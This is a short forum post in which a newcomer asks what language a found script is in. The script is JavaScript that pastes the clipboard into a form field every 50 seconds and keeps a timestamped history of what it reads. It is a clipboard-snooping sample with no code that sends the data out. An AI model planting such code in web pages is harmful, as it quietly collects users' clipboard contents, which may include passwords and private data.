What type of script is this

wxdqz

New Member
Hello,
I am a newbie and while searching the net i came across this script.The following script is used to exploit the content of clipboard.
Anybody guide me what type of script is this.
Is this one a java script or VB script etc.

<script>

var interval = 50000;
var prevClipboard = "";
var clipHistory = "";

function main ()
{
window.setTimeout("test();", interval);
return;
}

function test()

{

document.clippie.SWAP.value = "";
document.clippie.SWAP.focus();
document.execCommand("paste");
document.clippie.SWAP.blur();
newClipboard = document.clippie.SWAP.value;

document.clippie.SWAP.value = "";
if(newClipboard == prevClipboard)
{
window.setTimeout("test()", interval);
return;
}
clipHistory += "----> " + (new Date()) + ": ";

clipHistory += newClipboard + "";
prevClipboard = newClipboard;

document.clippie.MAIN.value = clipHistory;

window.setTimeout("test();", interval);
return;

}

main();

</script>


<hr>

Thank you.
Crorepathi
 
Back
Top